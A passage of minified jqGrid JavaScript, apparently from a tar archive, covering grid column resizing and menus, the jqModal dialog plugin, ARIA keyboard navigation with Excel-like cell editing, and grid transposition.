e,t,i;this.grid&&!0===this.p.frozenColumns&&(t=$e(e=this).jqGrid("getStyleUI",e.p.styleUI+".common","hover",!0),$e(e.grid.fhDiv).remove(),$e(e.grid.fbDiv).remove(),e.grid.fhDiv=null,e.grid.fbDiv=null,e.p.footerrow&&($e(e.grid.fsDiv).remove(),e.grid.fsDiv=null),e.p.headerrow&&($e(e.grid.fhrDiv).remove(),e.grid.fhrDiv=null),$e(this).off(".setFrozenColumns"),!0===e.p.hoverrows&&$e("#"+$e.jgrid.jqID(e.p.id)).on({mouseover:function(e){i=$e(e.target).closest("tr.jqgrow"),"ui-subgrid"!==$e(i).attr("class")&&$e(i).addClass(t)},mouseout:function(e){i=$e(e.target).closest("tr.jqgrow"),$e(i).removeClass(t)}}),this.p.frozenColumns=!1,this.p.frozenColCount=-1)})},resizeColumn:function(a,s,l,d){return this.each(function(){var e,t,i=this.grid,r=this.p,o=r.colModel,n=o.length;if("boolean"!=typeof l&&(l=!1),"boolean"!=typeof d&&(d=!0),"string"==typeof a){for(e=0;e<n;e++)if(o[e].name===a){a=e;break}}else a=parseInt(a,10);if((o[a].resizable||l)&&!o[a].hidden&&(s=parseFloat(s),!("number"!=typeof a||a<0||a>o.length-1||"number"!=typeof s))){if(s<r.minColWidth&&(s=r.minColWidth),r.forceFit)for(r.nv=0,e=a+1;e<n;e++)if(!0!==o[e].hidden){r.nv=e-a;break}if(i.resizing={idx:a},t=s-i.headers[a].width,r.forceFit){if(i.headers[a+r.nv].width-t<r.minColWidth)return;i.headers[a+r.nv].newWidth=i.headers[a+r.nv].width-t}i.newWidth=r.tblwidth+t,i.headers[a].newWidth=s,i.dragEnd(!1,d)}})},getStyleUI:function(e,t,i,r){var o="",n="";try{var a=e.split(".");switch(i||(o="class=",n='"'),$e.jgrid.isNull(r)&&(r=""),a.length){case 1:o+=n+$e.jgrid.trim(r+" "+$e.jgrid.styleUI[a[0]][t]+n);break;case 2:o+=n+$e.jgrid.trim(r+" "+$e.jgrid.styleUI[a[0]][a[1]][t]+n)}}catch(e){o=""}return o},resizeGrid:function(e,d,c,p){return this.each(function(){var s=this,l=!1;void 0===e&&(e=500),"boolean"!=typeof d&&(d=!0),"boolean"!=typeof c&&(c=!0),"boolean"!=typeof p&&(p=!0),setTimeout(function(){try{var e,t,i,r,o,n,a;s.p.frozenColumns&&p&&($e("#"+$e.jgrid.jqID(s.p.id)).jqGrid("destroyFrozenColumns"),l=!0),d&&(e=$e(window).width(),t=$e("#gbox_"+$e.jgrid.jqID(s.p.id)).parent().width(),i=s.p.width,i=3<e-t?t:e,$e(s.grid.bDiv).css("max-height")&&["100%","auto"].includes(s.p.height)&&$e(s.grid.bDiv).height()<$e(s).height()?$e("#"+$e.jgrid.jqID(s.p.id)).jqGrid("setGridWidth",i+s.p.scrollOffset-2,!1,!1):$e("#"+$e.jgrid.jqID(s.p.id)).jqGrid("setGridWidth",i,s.p.shrinkToFit,!1)),"auto"!==s.p.height&&"100%"!==s.p.height&&c&&(a=s.p.height,r=-1===s.p.styleUI.search("Bootstrap")||isNaN(s.p.height)?0:2,a=3<(o=$e(window).height())-(n=$e("#gbox_"+$e.jgrid.jqID(s.p.id)).parent().height())?n:o,$e("#"+$e.jgrid.jqID(s.p.id)).jqGrid("setGridHeight",a-r,!0,!1)),s.p.frozenRows&&$e(s).trigger("jqGridAfterGridComplete.setFrozenRows"),l&&$e("#"+$e.jgrid.jqID(s.p.id)).jqGrid("setFrozenColumns")}catch(e){}},e)})},colMenuAdd:function(e,t){var i=this[0].p.styleUI,i=$e.jgrid.styleUI[i].colmenu;return t=$e.extend({title:"Item",icon:i.icon_new_item,funcname:null,position:"last",closeOnRun:!0,exclude:"",id:null,items:[]},t||{}),this.each(function(){t.colname="all"===e?"_all_":e;t.id=$e.jgrid.isNull(t.id,!0)?$e.jgrid.randId():t.id,this.p.colMenuCustom[t.id]=t})},colMenuDelete:function(e){return this.each(function(){this.p.colMenuCustom.hasOwnProperty(e)&&delete this.p.colMenuCustom[e]})},menubarAdd:function(o){var i,n,e=this[0].p.styleUI,a=$e.jgrid.styleUI[e].common;return this.each(function(){var r=this;if(Array.isArray(o))for(var e=0;e<o.length;e++){(i=o[e]).id||(i.id=$e.jgrid.randId());var t="";i.icon&&(t='<span class="'+a.icon_base+" "+i.icon+'"></span>'),i.position||(i.position="last"),i.closeoncall||(i.closeoncall=!0),i.divider?(n='<li class="ui-menu-item divider" role="separator"></li>',i.cick=null):n='<li class="ui-menu-item" role="presentation"><a id="'+i.id+'" class="g-menu-item" tabindex="0" role="menuitem" ><table class="ui-common-table"><tr><td class="menu_icon">'+t+'</td><td class="menu_text">'+i.title+"</td></tr></table></a></li>","last"===i.position?$e("#"+this.p.id+"_menubar").append(n):$e("#"+this.p.id+"_menubar").prepend(n)}$e("li a","#"+this.p.id+"_menubar").each(function(e,i){$e(o).each(function(e,t){if(t.id===i.id&&$e.jgrid.isFunction(t.click))return $e(i).on("click",function(e){t.click.call(r,e)}),!1}),$e(this).hover(function(e){$e(this).addClass(a.hover),e.stopPropagation()},function(e){$e(this).removeClass(a.hover)})})})},menubarDelete:function(e){return this.each(function(){$e("#"+e,"#"+this.p.id+"_menubar").remove()})},addColSearchMenu:function(){return this.each(function(){var e=this;$e(e).colMenuAdd("sc",{title:"Reset",position:"first",id:"reset",funcname:function(){$e("input[id^='jqs_']","#"+this.p.id).each(function(e){$e(this).val("")}),$e(this)[0].p._results={},$e(this).jqGrid("showCol",this.p._avc)}}),$e(e).colMenuAdd("sc",{separator:!0,id:"groupOp"}),$e(e).colMenuAdd("sc",{separator:!0,id:"operOp"}),$e(e).colMenuAdd("sc",{separator:!0,id:"close",funcname:function(){return!0}}),$e(e).on("jqGridcolMenuBeforeProcess.custom",function(e,t){if("custom"===t.module&&"sc"===t.column){var i,r,o,n=$e.jgrid.getRegional(this,"search"),a=this.p.searchColOptions,s=$e.jgrid.getMethod("getStyleUI"),l=this.p.styleUI+".base";if("reset"===t.action.id&&(t.action.title=n.Reset||"Reset",t.action.icon=s(this.p.styleUI+".colmenu","icon_reset",!0,"")),"close"===t.action.id&&(t.action.title=n.Close||"Close",t.action.icon=s(this.p.styleUI+".colmenu","icon_close",!0,"")),"groupOp"===t.action.id){for(i=s(l,"searchSelect",!1,"search-col-input"),t.action.title=""+(n.Operand||"Operand: "),t.action.title+="<select data-grid-id="+this.p.id+' id="opselect" '+i+">",i=s(this.p.styleUI+".colmenu","icon_group_op",!0,""),t.action.icon=i,r=0;r<n.groupOps.length;r++)o=a.searchOp===n.groupOps[r].op?"selected":"",t.action.title+='<option value="'+n.groupOps[r].op+'" '+o+">"+n.groupOps[r].text+"</option>";t.action.title+="</select>",setTimeout(function(){$e("#opselect").on("change",function(){var e=$e("#"+$e(this).attr("data-grid-id"))[0];e.p.searchColOptions.searchOp=$e(this).val(),$e.jgrid.myfunc(e.p.id)})},200)}if("operOp"===t.action.id){for(i=s(l,"searchSelect",!1,"search-col-input"),t.action.title=n.Operation||"Oper : ",t.action.title+="<select data-grid-id="+this.p.id+' id="selectoper" '+i+">",i=s(this.p.styleUI+".colmenu","icon_oper_op",!0,""),t.action.icon=i,r=0;r<n.odata.length;r++)o=a.operand===n.odata[r].oper?"selected":"",a.aOperands.includes(n.odata[r].oper)&&(t.action.title+='<option value="'+n.odata[r].oper+'" '+o+">"+n.odata[r].text+"</option>");t.action.title+="</select>",setTimeout(function(){$e("#selectoper").on("change",function(){var e=$e("#"+$e(this).attr("data-grid-id"))[0];e.p.searchColOptions.operand=$e(this).val(),$e.jgrid.myfunc(e.p.id)})},200)}}})})},disableColMenu:function(e){return this.each(function(){$e(this.grid.hDiv).find("tr #jqgh_"+this.p.id+"_"+e+" > .colmenu").css("display","none")})},enableColMenu:function(e){return this.each(function(){$e(this.grid.hDiv).find("tr #jqgh_"+this.p.id+"_"+e+" > .colmenu").css("display","inline")})}})});minified/jqModal.js000064400000005135151677266200010275 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery"],e):e(jQuery)}(function(a){"use strict";a.fn.jqm=function(e){var t={overlay:50,closeoverlay:!0,overlayClass:"jqmOverlay",closeClass:"jqmClose",trigger:".jqModal",ajax:u,ajaxText:"",target:u,modal:u,toTop:u,onShow:u,onHide:u,onLoad:u};return this.each(function(){if(this._jqm)return c[this._jqm].c=a.extend({},c[this._jqm].c,e);o++,this._jqm=o,c[o]={c:a.extend(t,a.jqm.params,e),a:u,w:a(this).addClass("jqmID"+o),s:o},t.trigger&&a(this).jqmAddTrigger(t.trigger)})},a.fn.jqmAddClose=function(e){return i(this,e,"jqmHide")},a.fn.jqmAddTrigger=function(e){return i(this,e,"jqmShow")},a.fn.jqmShow=function(e){return this.each(function(){a.jqm.open(this._jqm,e)})},a.fn.jqmHide=function(e){return this.each(function(){a.jqm.close(this._jqm,e)})},a.jqm={hash:{},open:function(e,t){var o=c[e],n=o.c,i="."+n.closeClass,s=0<(s=parseInt(o.w.css("z-index")))?s:3e3,r=a("<div></div>").css({height:"100%",width:"100%",position:"fixed",left:0,top:0,"z-index":s-1,opacity:n.overlay/100});return o.a||(o.t=t,o.a=!0,o.w.css("z-index",s),n.modal?(d[0]||setTimeout(function(){new f("bind")},1),d.push(e)):0<n.overlay?n.closeoverlay&&o.w.jqmAddClose(r):r=u,o.o=r?r.addClass(n.overlayClass).prependTo("body"):u,n.ajax?(s=n.target||o.w,e=n.ajax,s="string"==typeof s?a(s,o.w):a(s),e="@"===e.substr(0,1)?a(t).attr(e.substring(1)):e,s.html(n.ajaxText).load(e,function(){n.onLoad&&n.onLoad.call(this,o),i&&o.w.jqmAddClose(a(i,o.w)),h(o)})):i&&o.w.jqmAddClose(a(i,o.w)),n.toTop&&o.o&&o.w.before('<span id="jqmP'+o.w[0]._jqm+'"></span>').insertAfter(o.o),n.onShow?n.onShow(o):o.w.show(),h(o)),u},close:function(e){e=c[e];return e.a&&(e.a=u,d[0]&&(d.pop(),d[0]||new f("unbind")),e.c.toTop&&e.o&&a("#jqmP"+e.w[0]._jqm).after(e.w).remove(),e.c.onHide?e.c.onHide(e):(e.w.hide(),e.o&&e.o.remove())),u},params:{}};var o=0,c=a.jqm.hash,d=[],u=!1,h=function(e){void 0===e.c.focusField&&(e.c.focusField=0),0<=e.c.focusField&&t(e)},t=function(e){try{a(":input:visible",e.w)[parseInt(e.c.focusField,10)].focus()}catch(e){}},f=function(e){a(document)[e]("keypress",n)[e]("keydown",n)[e]("mousedown",n)},n=function(o){var e=c[d[d.length-1]],n=!a(o.target).parents(".jqmID"+e.s)[0];return n&&a(".jqmID"+e.s).each(function(){var e=a(this),t=e.offset();if(t.top<=o.pageY&&o.pageY<=t.top+e.height()&&t.left<=o.pageX&&o.pageX<=t.left+e.width())return n=!1}),!n},i=function(e,t,o){return e.each(function(){var e=this._jqm;a(t).each(function(){this[o]||(this[o]=[],a(this).click(function(){for(var e in{jqmShow:1,jqmHide:1})for(var t in this[e])c[this[e][t]]&&c[this[e][t]].w[e](this);return u})),this[o].push(e)})})}});minified/grid.aria.js000064400000032704151677266200010550 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./grid.base"],e):e(jQuery)}(function(b){"use strict";b.extend(b.jgrid,{focusableElementsList:[">a[href]",">button:not([disabled])",">area[href]",">input:not([disabled])",">select:not([disabled])",">textarea:not([disabled])",">iframe",">object",">embed",">*[tabindex]",">*[contenteditable]"]}),b.jgrid.extend({ariaBodyGrid:function(e){var f=b.extend({onEnterCell:null,onKeyCheck:null,customCellAction:null},e||{});return this.each(function(){var n=this,t=b.jgrid.getMethod("getStyleUI"),a=t(n.p.styleUI+".common","highlight",!0);function l(e,i){return!isNaN(e)&&!isNaN(i)&&0<=e&&0<=i&&n.rows.length&&e<n.rows.length&&i<n.p.colModel.length}function r(e,i){var t,i=n.p.iRow+i,r=n.p.iCol+e,o=n.rows.length,e=0!==e;return!!o&&(t=n.p.colModel.length,e&&(r<0&&2<=i&&(r=t-1,i--),t<=r)&&(r=0,i++),e||(i<1?(r--,n.rows[i=o-1]&&0<=r&&!n.rows[i].cells[r]&&i--):(o<=i||!n.rows[i].cells[r])&&(i=1,r++)),l(i,r)?{row:i,col:r}:!!l(n.p.iRow,n.p.iCol)&&{row:n.p.iRow,col:n.p.iCol})}function o(e,i){var t=r(e,i);if(!t)return!1;for(;b(n.rows[t.row].cells[t.col]).is(":hidden");)if(n.p.iRow=t.row,n.p.iCol=t.col,t=r(e,i),n.p.iRow===t.row&&n.p.iCol===t.col)return!1;return 0!==i&&b(n).jqGrid("setSelection",n.rows[t.row].id,!1,null,!1),t}function s(e){var i=n.p.page,t=n.p.lastpage;n.p.page!==(i=t<(i=(i+=e)<=0?1:i)?t:i)&&(n.p.page=i,n.grid.populate())}var i=b.jgrid.focusableElementsList.join(),d=(b(n).removeAttr("tabindex"),b(n).on("jqGridAfterGridComplete.setAriaGrid",function(e){b("tbody",n).first().find(">tr:not(.jqgfirstrow)>td:not(:hidden, :has("+i+"))").attr("tabindex",-1),b("tbody",n).first().find(">tr:not(.jqgfirstrow)").removeAttr("tabindex"),void 0!==n.p.iRow&&void 0!==n.p.iCol&&n.rows[n.p.iRow]&&b(n.rows[n.p.iRow].cells[n.p.iCol]).attr("tabindex",0).focus(function(){b(this).addClass(a)}).blur(function(){b(this).removeClass(a)})}),n.p.iRow=1,n.p.iCol=b.jgrid.getFirstVisibleCol(n),0),c=0,p=!!b.jgrid.isFunction(f.customCellAction)&&f.customCellAction,u=!!b.jgrid.isFunction(f.onKeyCheck)&&f.onKeyCheck;b(n).on("keydown",function(e){if((!n.p.navigationDisabled||!0!==n.p.navigationDisabled)&&!e.target.id.startsWith("jqs_"+n.p.id)&&(!u||u.call(n,n.rows[n.p.iRow].id,n.p.iRow,n.p.iCol,e))){var i;switch(e.which||e.keyCode){case 38:i=o(0,-1),d=i.row,c=i.col,e.preventDefault();break;case 40:i=o(0,1),d=i.row,c=i.col,e.preventDefault();break;case 37:i=o(-1,0),d=i.row,c=i.col,e.preventDefault();break;case 39:i=o(1,0),d=i.row,c=i.col,e.preventDefault();break;case 36:d=e.ctrlKey?1:n.p.iRow,c=0,e.preventDefault();break;case 35:d=e.ctrlKey?n.rows.length-1:n.p.iRow,c=n.p.colModel.length-1,e.preventDefault();break;case 33:s(-1),c=n.p.iCol,d=n.p.iRow,e.preventDefault();break;case 34:s(1),c=n.p.iCol,(d=n.p.iRow)>n.rows.length-1&&(d=n.rows.length-1,n.p.iRow=n.rows.length-1),e.preventDefault();break;case 13:return void(b.jgrid.isFunction(f.onEnterCell)&&(f.onEnterCell.call(n,n.rows[n.p.iRow].id,n.p.iRow,n.p.iCol,e),e.preventDefault()));case 113:try{b(n).jqGrid("editCell",n.p.iRow,n.p.iCol,!0,e)}catch(e){}break;default:return void(p&&p.call(n,n.rows[n.p.iRow].id,n.p.iRow,n.p.iCol,e))}setTimeout(function(){b(n).jqGrid("focusBodyCell",d,c,t,a)},50)}}),b(n).on("jqGridBeforeSelectRow.ariaGridClick",function(){return!1}),b(n).on("jqGridCellSelect.ariaGridClick",function(e,i,t,r,o){var l,o=o.target;0<n.p.iRow&&0<=n.p.iCol&&b(n.rows[n.p.iRow].cells[n.p.iCol]).attr("tabindex",-1),(b(o).is("td")||b(o).is("th")||o.id.startsWith("jqs_"+n.p.id))&&(n.p.iCol=o.cellIndex,l=b(o).closest("tr.jqgrow"),n.p.iRow=l[0].rowIndex,b(o).attr("tabindex",0).addClass(a).focus().blur(function(){b(this).removeClass(a)}))}),n.p.ariaBody=!0})},excelLikeGrid:function(e){var C=b.extend({beforeDeleteCell:null,customCellAction:null,customUndoFunction:null,specialChars:["~","!","@","#","$","%","^","&","*","(",")","_","+","{","}",":",'"',"|","<",">","?",",",".","/",";","\\","[","]"],addonChars:!1,onKeyCheck:null},e||{});return this.each(function(){var n=this,a=b.jgrid.getMethod("getStyleUI"),s=a(n.p.styleUI+".common","highlight",!0),d=(n.p.F2key=!1,{isValidCell:function(e,i){return!isNaN(e)&&!isNaN(i)&&0<=e&&0<=i&&n.rows.length&&e<n.rows.length&&i<n.p.colModel.length},getNextCell:function(e,i){var i=n.p.iRow+i,t=n.p.iCol+e,r=n.rows.length,e=0!==e,o=n.p.frozenColumns?n.p.frozenColCount+1:0;return!!r&&(r=n.p.colModel.length,e&&(t=t<o?o:t)===r&&(t=r),e||n.rows[i]&&0<=t&&!n.rows[i].cells[t]&&i--,this.isValidCell(i,t)?{row:i,col:t}:!!this.isValidCell(n.p.iRow,n.p.iCol)&&{row:n.p.iRow,col:n.p.iCol})},getNextVisibleCell:function(e,i){var t=this.getNextCell(e,i);if(!t)return!1;for(;b(n.rows[t.row].cells[t.col]).is(":hidden");)if(n.p.iRow=t.row,n.p.iCol=t.col,t=this.getNextCell(e,i),n.p.iRow===t.row&&n.p.iCol===t.col)return!1;return 0!==i&&b(n).jqGrid("setSelection",n.rows[t.row].id,!1,null,!1),t},movePage:function(e){var i=n.p.page,t=n.p.lastpage;n.p.page!==(i=t<(i=(i+=e)<=0?1:i)?t:i)&&(n.p.page=i,n.grid.populate())}}),i=b.jgrid.focusableElementsList.join(),c=(b(n).removeAttr("tabindex"),b(n).on("jqGridAfterGridComplete.setAriaGrid",function(e){b("tbody",n).first().find(">tr:not(.jqgfirstrow)>td:not(:hidden, :has("+i+"))").attr("tabindex",-1),b("tbody",n).first().find(">tr:not(.jqgfirstrow)").removeAttr("tabindex"),void 0!==n.p.iRow&&void 0!==n.p.iCol&&n.rows[n.p.iRow]&&b(n.rows[n.p.iRow].cells[n.p.iCol]).attr("tabindex",0).focus(function(){b(this).addClass(s)}).blur(function(){b(this).removeClass(s)})}),n.p.iRow=1,n.p.iCol=b.jgrid.getFirstVisibleCol(n),n.p.ariaBody=!0,0),p=0,u=!!b.jgrid.isFunction(C.customCellAction)&&C.customCellAction,f=!!b.jgrid.isFunction(C.beforeDeleteCell)&&C.beforeDeleteCell,h=new Set(C.specialChars),w=!1,g=(n.addEventListener("paste",function(e){w&&(e=(e.clipboardData||window.clipboardData).getData("text"),b(n).jqGrid("saveCell",n.p.iRow,n.p.iCol,e),w=!1)}),!!b.jgrid.isFunction(C.onKeyCheck)&&C.onKeyCheck);b(n).on("keydown",function(e){if((!n.p.navigationDisabled||!0!==n.p.navigationDisabled)&&!e.target.id.startsWith("jqs_"+n.p.id)&&(!g||g.call(n,n.rows[n.p.iRow].id,n.p.iRow,n.p.iCol,e,d))){var i=e.which||e.keyCode,t=e.ctrlKey||17===i;switch(i){case 38:r=d.getNextVisibleCell(0,-1),c=r.row,p=r.col,e.preventDefault();break;case 40:case 13:r=d.getNextVisibleCell(0,1),c=r.row,p=r.col,e.preventDefault();break;case 37:r=d.getNextVisibleCell(-1,0),c=r.row,p=r.col,e.preventDefault();break;case 39:r=d.getNextVisibleCell(1,0),c=r.row,p=r.col,e.preventDefault();break;case 36:c=e.ctrlKey?1:n.p.iRow,p=n.p.frozenColumns?n.p.frozenColCount+1:0,e.preventDefault();break;case 35:c=e.ctrlKey?n.rows.length-1:n.p.iRow,p=n.p.colModel.length-1,e.preventDefault();break;case 33:d.movePage(-1),p=n.p.iCol,c=n.p.iRow,e.preventDefault();break;case 34:d.movePage(1),p=n.p.iCol,(c=n.p.iRow)>n.rows.length-1&&(c=n.rows.length-1,n.p.iRow=n.rows.length-1),e.preventDefault();break;case 9:r=e.shiftKey?d.getNextVisibleCell(-1,0):d.getNextVisibleCell(1,0),c=r.row,p=r.col,e.preventDefault();break;case 113:try{b(n).jqGrid("editCell",n.p.iRow,n.p.iCol,!0,e,!1),n.p.F2key=!0}catch(e){}break;case 8:case 46:var r=!0;!0===(r=f?f.call(n,n.rows[n.p.iRow].id,n.p.iRow,n.p.iCol,e):r)&&b(n).jqGrid("saveCell",n.p.iRow,n.p.iCol,"");break;case 86:if(t)return w=!0;break;case 90:if(t)return r=!0,(r=b.jgrid.isFunction(C.customUndoFunction)?C.customUndoFunction.call(n,n.rows[n.p.iRow].id,n.p.iRow,n.p.iCol,e):r)&&n.p.savedValues&&b(n).jqGrid("getCell",n.rows[n.p.iRow].id,n.p.colModel[n.p.iCol].name,!1)===n.p.savedValues.newvalue&&n.p.iRow===n.p.savedValues.indexRow&&b(n).jqGrid("saveCell",n.p.iRow,n.p.iCol,n.p.savedValues.oldvalue),!0;break;default:var r=/^[a-z]$/i.test(e.key),o=/^[0-9]$/i.test(e.key),l=!1;return C.addonChars&&(l=C.addonChars.test(e.key)),(r||o||h.has(e.key)||l)&&b(n).jqGrid("editCell",n.p.iRow,n.p.iCol,!0,e,!0),void(u&&u.call(n,n.rows[n.p.iRow].id,n.p.iRow,n.p.iCol,e))}setTimeout(function(){b(n).jqGrid("focusBodyCell",c,p,a,s)},50)}}),b(n).on("jqGridBeforeSelectRow.ariaGridClick",function(){return!1}),b(n).on("jqGridCellSelect.ariaGridClick",function(e,i,t,r,o){var l,o=o.target;0<n.p.iRow&&0<=n.p.iCol&&b(n.rows[n.p.iRow].cells[n.p.iCol]).attr("tabindex",-1),(b(o).is("td")||b(o).is("th")||o.id.startsWith("jqs_"+n.p.id))&&(n.p.iCol=o.cellIndex,n.p.savedRow.length&&b(n).jqGrid("saveCell",n.p.savedRow[0].id,n.p.savedRow[0].ic),l=b(o).closest("tr.jqgrow"),n.p.iRow=l[0].rowIndex,b(o).attr("tabindex",0).addClass(s).focus().blur(function(){b(this).removeClass(s)}))}).on("jqGridDblClickRow.ariaGridDblClick",function(e,i,t,r,o){b(n).jqGrid("editCell",t,r,!0,o,!1),n.p.F2key=!0})})},focusBodyCell:function(n,a,s,d){return this.each(function(){var e,i=this,t=s||b.jgrid.getMethod("getStyleUI"),r=d||t(i.p.styleUI+".common","highlight",!0),o=b.jgrid.focusableElementsList.join();function l(e){return b(o,e)[0]}void 0!==n&&void 0!==a?!isNaN(i.p.iRow)&&!isNaN(i.p.iCol)&&0<=i.p.iCol&&(e=l(i.rows[i.p.iRow].cells[i.p.iCol]),b(e||i.rows[i.p.iRow].cells[i.p.iCol]).attr("tabindex",-1)):(n=i.p.iRow,a=i.p.iCol),n=parseInt(n,10),a=parseInt(a,10),0<n&&0<=a&&(e=l(i.rows[n].cells[a]),b(e||i.rows[n].cells[a]).attr("tabindex",0).addClass(r).focus().blur(function(){b(this).removeClass(r)}),i.p.iRow=n,i.p.iCol=a)})},resetAriaBody:function(){return this.each(function(){var i=this,t=!1,e=(i.p.ariaBody=!1,b(i).attr("tabindex","0").off("keydown").off("jqGridBeforeSelectRow.ariaGridClick").off("jqGridCellSelect.ariaGridClick").off("jqGridAfterGridComplete.setAriaGrid"),b.jgrid.focusableElementsList.join());b("tbody",i).first().find(">tr:not(.jqgfirstrow)>td:not(:hidden, :has("+e+"))").removeAttr("tabindex").off("focus"),b("tbody",i).first().find(">tr:not(.jqgfirstrow)").attr("tabindex",-1);try{i.removeEventListener("paste",function(e){t&&(e=(e.clipboardData||window.clipboardData).getData("text"),b(i).jqGrid("saveCell",i.p.iRow,i.p.iCol,e),t=!1)},!0)}catch(e){}})},ariaHeaderGrid:function(e){var t=b.extend({onHeaderKeyCheck:null},e||{});return this.each(function(){var o=this,e=b.jgrid.getMethod("getStyleUI")(o.p.styleUI+".common","highlight",!0),i=b("#gbox_"+o.p.id).find(".ui-jqgrid-hbox>table").first(),l=!!b.jgrid.isFunction(t.onHeaderKeyCheck)&&t.onHeaderKeyCheck;b("tr.ui-jqgrid-labels",i).on("keydown",function(e){var i=o.p.selHeadInd,t=e.which||e.keyCode,r=o.grid.headers.length;if(!l||l.call(o,i,e))switch(t){case 37:if(0<=i-1){for(i--;b(o.grid.headers[i].el).is(":hidden")&&0<=i-1&&!(--i<0););0<=i&&(b(o.grid.headers[i].el).focus(),b(o.grid.headers[o.p.selHeadInd].el).attr("tabindex","-1"),o.p.selHeadInd=i,e.preventDefault())}break;case 39:if(i+1<r){for(i++;b(o.grid.headers[i].el).is(":hidden")&&i+1<r&&!(r-1<++i););i<r&&(b(o.grid.headers[i].el).focus(),b(o.grid.headers[o.p.selHeadInd].el).attr("tabindex","-1"),o.p.selHeadInd=i,e.preventDefault())}break;case 13:b(o.grid.headers[i].el).find("div").first().trigger("click"),e.preventDefault();break;default:return}}),b("tr.ui-jqgrid-labels>th:not(:hidden)",i).attr("tabindex",-1).focus(function(){b(this).addClass(e).attr("tabindex","0")}).blur(function(){b(this).removeClass(e)}),o.p.selHeadInd=b.jgrid.getFirstVisibleCol(o),b(o.grid.headers[o.p.selHeadInd].el).attr("tabindex","0")})},focusHeaderCell:function(i){return this.each(function(){var e=this;0<=(i=void 0===i?e.p.selHeadInd:i)&&i<e.p.colModel.length&&(b(e.grid.headers[e.p.selHeadInd].el).attr("tabindex","-1"),b(e.grid.headers[i].el).focus(),e.p.selHeadInd=i)})},resetAriaHeader:function(){return this.each(function(){var e=b("#gbox_"+this.p.id).find(".ui-jqgrid-hbox>table").first();b("tr.ui-jqgrid-labels",e).off("keydown"),b("tr.ui-jqgrid-labels>th:not(:hidden)",e).removeAttr("tabindex").off("focus blur")})},ariaPagerGrid:function(){return this.each(function(){var r=this,e=b.jgrid.getMethod("getStyleUI"),i=e(r.p.styleUI+".common","highlight",!0),o="."+e(r.p.styleUI+".common","disabled",!0),l=b(".ui-pg-button",r.p.pager),n=l.length;l.attr("tabindex","-1").focus(function(){b(this).addClass(i)}).blur(function(){b(this).removeClass(i)}),r.p.navIndex=0,setTimeout(function(){var e=l.not(o).first().attr("tabindex","0");r.p.navIndex=e[0]&&e[0].cellIndex?e[0].cellIndex-1:0},100),b(r.p.pager).find("table.ui-pager-table tr").first().on("keydown",function(e){var i=e.which||e.keyCode,t=r.p.navIndex;switch(i){case 37:if(0<=t-1){for(t--;b(l[t]).is(o)&&0<=t-1&&!(--t<0););0<=t&&(b(l[r.p.navIndex]).attr("tabindex","-1"),b(l[t]).attr("tabindex","0").focus(),r.p.navIndex=t),e.preventDefault()}break;case 39:if(t+1<n){for(t++;b(l[t]).is(o)&&t+1<n+1&&!(n-1<++t););t<n&&(b(l[r.p.navIndex]).attr("tabindex","-1"),b(l[t]).attr("tabindex","0").focus(),r.p.navIndex=t),e.preventDefault()}break;case 13:b(e.originalEvent.srcElement).hasClass("ui-pg-input")||(b(l[t]).trigger("click"),e.preventDefault());break;default:return}})})},focusPagerCell:function(t){return this.each(function(){var e=b(".ui-pg-button",this.p.pager),i=e.length;0<=(t=void 0===t?this.p.navIndex:t)&&t<i&&(b(e[this.p.navIndex]).attr("tabindex","-1"),b(e[t]).attr("tabindex","0").focus(),this.p.navIndex=t)})},resetAriaPager:function(){return this.each(function(){b(".ui-pg-button",this.p.pager).removeAttr("tabindex").off("focus"),b(this.p.pager).find("table.ui-pager-table tr").first().off("keydown")})},setAriaGrid:function(e){var i=b.extend({header:!0,body:!0,pager:!0,onEnterCell:null,customCellAction:null,excel:!1},e||{});return this.each(function(){i.header&&b(this).jqGrid("ariaHeaderGrid",i),i.body&&(i.excel?b(this).jqGrid("excelLikeGrid",i):b(this).jqGrid("ariaBodyGrid",i)),i.pager&&b(this).jqGrid("ariaPagerGrid")})},resetAriaGrid:function(e){var i=b.extend({header:!0,body:!0,pager:!0},e||{});return this.each(function(){i.body&&b(this).jqGrid("resetAriaBody"),i.header&&b(this).jqGrid("resetAriaHeader"),i.pager&&b(this).jqGrid("resetAriaPager")})}})});minified/grid.transposed.js000064400000003401151677266200012006 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./grid.base"],e):e(jQuery)}(function(u){"use strict";u.jgrid.extend({transposeSetup:function(s,e){var i=[],l=[],d=!1,c=u.extend({},e||{});return this.each(function(){var e,r,o=Object.keys(s[c.baseindex]);c.excludeSrcCols.length&&(o=o.filter(function(e){return!c.excludeSrcCols.includes(e)}));for(var a=0;a<o.length;a++){r=0,(e={}).col_name=o[a],d||i.push({name:"col_name"}),r++;for(var t=0;t<s.length;t++){var n=s[t];e[c.nameprefix+r]=n[o[a]],d||i.push({name:c.nameprefix+r,label:c.labelprefix+r}),r++}d=!0,l.push(e)}}),{colModel:i,rows:l}},jqTranspose:function(o,i,l,a){return i=u.extend({nameprefix:"col",labelprefix:"value ",baseindex:0,beforeCreateGrid:null,RowAsHeader:0,loadMsg:!1,excludeSrcCols:[]},i||{}),this.each(function(){var s=this,e=l&&l.regional?l.regional:"en";function r(e,r){Array.isArray(e)||(e=[]);var o=jQuery(s).jqGrid("transposeSetup",e,i);if(u.jgrid.isFunction(i.beforeCreateGrid)&&i.beforeCreateGrid.call(s,o,e),!1!==r.RowAsHeader&&0<=r.RowAsHeader&&o.rows.length&&r.RowAsHeader<o.rows.length){var a,t=o.rows[r.RowAsHeader],n=0;for(a in t)Object.prototype.hasOwnProperty.call(t,a)&&(o.colModel[n].label=t[a]),n++;o.rows.splice(r.RowAsHeader,1)}e=u.jgrid.from.call(s,o.rows);jQuery(s).jqGrid(u.extend(!0,{datastr:e.select(),datatype:"jsonstring",colModel:o.colModel,jsonReader:{repeatitems:!1},viewrecords:!0},l||{})),i.loadMsg&&u(".loading_pivot").remove()}i.loadMsg&&u("<div class='loading_pivot ui-state-default ui-state-active row'>"+u.jgrid.getRegional(s,"regional."+e+".defaults.loadtext")+"</div>").insertBefore(s).show(),"string"==typeof o?u.ajax(u.extend({url:o,dataType:"json",success:function(e){r(u.jgrid.getAccessor(e,a&&a.reader?a.reader:"rows"),i)}},a||{})):r(o,i)})}})});minified/jqDnR.js000064400000003423151677266200007722 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery"],e):e(jQuery)}(function(u){"use strict";u.fn.jqDrag=function(e){return n(this,e,"d")},u.fn.jqResize=function(e,t){return 